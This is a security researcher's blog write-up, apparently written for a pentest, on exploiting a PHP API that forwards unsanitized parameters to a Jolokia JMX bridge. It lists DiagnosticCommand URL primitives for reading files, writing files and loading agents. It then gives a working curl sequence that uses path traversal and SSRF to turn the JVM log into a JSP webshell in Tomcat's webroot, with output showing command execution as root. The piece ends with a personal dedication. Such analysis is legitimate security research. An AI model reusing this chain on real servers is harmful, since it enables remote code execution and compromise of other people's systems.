Okey, here’s a funny one I’ve been given to exploit recently.
The cause of this bug is simple: The lack of input sanitization
Source code wasn’t provided, but luckily, directory listing was enabled, and a .old
file was gently waiting for me.
Lucky day, isn’t it?
The code source has been heavily modified to make it readable for the reader, the original version… Was something… Very impressive!
Take some time to read the code, see what you can find!
Spoiler alert: my notes on this are below the code snippet.
<?php
// Variables
$arg1=$_GET['arg1']; // note 1
$arg2=$_GET['arg2']; // note 1
$method=$_SERVER['REQUEST_METHOD'];
// Sanitize params
if (!is_numeric($arg1)) {
http_response_code(400);
die("Param arg1 must be numeric");
}
function jolokiaPlz($arg1, $arg2) {
global $jolokia_user, $jolokia_pw;
// Example: setLoggerLevel/global/INFO
$levels = array("INFO", "DEBUG");
$level = $levels[$arg1];
$url = "http://localhost:8080/jolokia/exec";
$url .= "/java.util.logging:type=Logging/setLoggerLevel/$arg2/$level?some=garbage_here"; // note 2 and 5
$curl = curl_init();
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($curl, CURLOPT_USERPWD, "$jolokia_user:$jolokia_pw");
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curl);
curl_close($curl);
return $result;
}
switch ($method) {
case "PUT":
$ret=json_decode(jolokiaPlz($arg1, $arg2), true);
http_response_code($ret['status']);
header("Content-Type: application/json");
if ($ret['status'] == 200) {
print ("{\"Success\": \"$arg1/$arg2\",\"Code\":\"".$ret['value']."\"}"); // note 3
} else {
print(json_encode($ret));
}
break;
default:
http_response_code(404);
die("Bad methode: $method"); // note 4
}
?>
Many things to note:
Warning: Undefined array key "arg1" in /var/www/html/api.php on line 4
hinting to add parameters to use the api correctly (parameter mining not required) and leaking an absolute path.is_numeric
check also returns true for -1
or 1
, this would provoke errors within jolokia. The parameter should have been normalized with int()
and then stringified to ensure its type, or validates with a strict numeric regex.Success
json is poorly created and would be invalid if any argument contains a double-quote. A php object should have been created and then dumped as a json string to ensure its validity.could
have been present on the last line as method is reflected without any sanitization, but HTTP methods that contain special character are most-often blocked by servers.path traversal
is possible on arg2, as no sanitization is in place. Even better, no question mark ?
nor pound #
is present, so we can ../
our way to the web-server’s root!So far, we can:
#
Clean normal request:
SSRFed request: boom
Okey, that’s a good start. The php server was (locally, test-purpose) a builtin one : php -S 0.0.0.0:8443
Now, let’s setup a jolokia to see what this bad-boiiii can do! And by setup I mean… Docker! stays lazy af
sudo docker run --rm -it --network=host bodsch/docker-jolokia
Digging a bit shows that this docker exposes a JMX service on 0.0.0.0:22222 and a tomcat on 0.0.0.0:8080.
Let’s invertigate port 22222:
With jconsole, we can easily access and interact with JMX features, such as mbeans properties and methods.
It’s possible to login both locally and remotely, here we’ll use the remote interface as our tomcat lives within a docker container.
The Jconsole helps for resources monitoring, and also offers to to read and write attributes, as well as method calling with user-defined parameters.
Pretty neat, pretty dangerous, but whatever, port 22222 isn’t exposed…
Jolokia’s doc on JMX states :
JMX (Java Management Extensions) is the standard management solution in the Java world. Since JDK 1.5 it is available in every Java Virtual Machine and especially Java EE application servers use JMX for their management business.
Jolokia’s doc / official website
Jolokia is a JMX-HTTP bridge giving an alternative to JSR-160 connectors. It is an agent based approach with support for many platforms. In addition to basic JMX operations it enhances JMX remoting with unique features like bulk requests and fine grained security policies.
Say no more, Jolokia is a JMX-HTTP
bridge, so we can now use jolokia in HTTP to reach JMX features. Yeet!
But, JMX can only.. Monitor? It shouldn’t be that bad, right?
One thing to note is that in the php script, when the call to jolokia succeeds, we are often blind because in print ("{\"Success\": \"$arg1/$arg2\",\"Code\":\"".$ret['value']."\"}");
, when $ret['value']
is a dict or array, the string concatenation will only output a generic Object
or Array
keyword instead of its content. This makes us blind, and this s*cks.
This is why it was important to have a local replica to enumerate stuff and figure out what can be done. Moreover, most of jolokia’s return values are json object, so we’re often blind.
Some information can still be acquired by generating stacktraces and find out if the instance (MBean) is found or not, whether the method called exists or not, etc.
Now, let’s spend a few minutes making Bernstein happy by reading some doc!
https://jolokia.org/reference/html/protocol.html#jolokia-operations
Common url patterns for jolokia are the following (POST ommited, as we can only reach it with GET):
To sum’up the pattern, it’s something like: /jolokia/action/package:MBeanSelector/method/param1/param2
, and /
characters must be encoded with !/
. Cool!
Locally, MBeans can be listed with /jolokia/list
or with jconsole
.
Get help on the DiagnosticCommand
/jolokia/exec/com.sun.management:type=DiagnosticCommand/help/*
value
key is a string and not an array/dict, so we wouldn’t be blind on the real target with the SSRF either!Get JVM Informations with vmSystemProperties
/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmSystemProperties
File write with JavaFlightRecorder
/jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrStart/filename=!/tmp!/foo
/jolokia/exec/com.sun.management:type=DiagnosticCommand/jfrDump/name=<ID_FROM_jfrStart>
File read with compilerDirectivesAdd
/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
Arbitrary .so loading with jvmtiAgentLoad
/jolokia/exec/com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad/!/etc!/passwd
File write in a “log” file with an arbitrary location and name
/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/tmp!/pwned
/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable
\\my.domain.com\my.dll
might have been possible, but I’m no aware of such behavior on linux. I tried using http
and ftp
schemes, but what what expected is a path and not a full uri. sighmanager
, docs
, etc) directory and query it with our initial SSRF?
# Define log file
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/opt!/apache-tomcat-9.0.16!/webapps!/ROOT!/jsp.jsp%23'
#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:10 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(221) "{"request":{"mbean":"com.sun.management:type=DiagnosticCommand","arguments":["output=\/opt\/apache-tomcat-9.0.16\/webapps\/ROOT\/jsp.jsp"],"type":"exec","operation":"vmLog"},"value":"","timestamp":1614478270,"status":200}"
# Wait for log file rotation and write our payload in the logs/jsp
sleep 1
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/win%253C%2525%253Dnew%2520java.util.Scanner%2528Runtime.getRuntime%2528%2529.exec%2528%2522id%2522%2529.getInputStream%2528%2529%2529.useDelimiter%2528%2522pouetpouet%2522%2529.next%2528%2529%2525%253Ewin%23'
#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:11 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(3076) "{"stacktrace":"java.lang.IllegalArgumentException: No type with name 'win<%=new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"pouetpouet\").next()%>win' exists\n\tat org.jolokia.util.RequestType.getTypeByName(RequestType.java:69)\n\tat org.jolokia.request.JmxRequestFactory.createGetRequest(JmxRequestFactory.java:94)\n\tat org.jolokia.http.HttpRequestHandler.handleGetRequest(HttpRequestHandler.java:79)\n\tat org.jolokia.http.AgentServlet$4.handleRequest(AgentServlet.java:470)\n\tat org.jolokia.http.AgentServlet.handleSecurely(AgentServlet.java:350)\n\tat org.jolokia.http.AgentServlet.handle(AgentServlet.java:321)\n\tat org.jolokia.http.AgentServlet.doGet(AgentServlet.java:277)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:634)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:741)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:200)\n\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)\n\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:490)\n\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)\n\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)\n\tat org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:668)\n\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)\n\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)\n\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)\n\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)\n\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:834)\n\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1415)\n\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\n\tat java.base\/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)\n\tat java.base\/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)\n\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\n\tat java.base\/java.lang.Thread.run(Thread.java:834)\n","error_type":"java.lang.IllegalArgumentException","error":"java.lang.IllegalArgumentException : No type with name 'win<%=new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"pouetpouet\").next()%>win' exists","status":400}"
sleep 1
# End log file, stop adding garbage
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable%23'
#HTTP/1.1 200 OK
#Host: 0.0.0.0:8443
#Date: Sun, 28 Feb 2021 02:11:12 GMT
#Connection: close
#X-Powered-By: PHP/8.1.0-dev
#Content-type: text/html; charset=UTF-8
#
#string(170) "{"request":{"mbean":"com.sun.management:type=DiagnosticCommand","arguments":["disable"],"type":"exec","operation":"vmLog"},"value":"","timestamp":1614478272,"status":200}"
# Query our jsp and execute code
curl -i -k -X PUT 'http://0.0.0.0:8443/api.php?arg1=1&arg2=global/../../../../../jsp.jsp%23' | grep uid | head -n 1
#[20.624s][info][exceptions ] Exception <a 'java/lang/IllegalArgumentException'{0x00000000c5bc01b8}:
# No type with name 'winuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
On the 26th of February 2021, my cat passed away at 16 years old due to kidney failure.
This one is for her.
I spent so many nights reading and hacking with her by my side, exposing ideas and waiting on her feedbacks.
She used to catch bugs, and was actually pretty good at it.
Dear, I’ll miss you. A lot.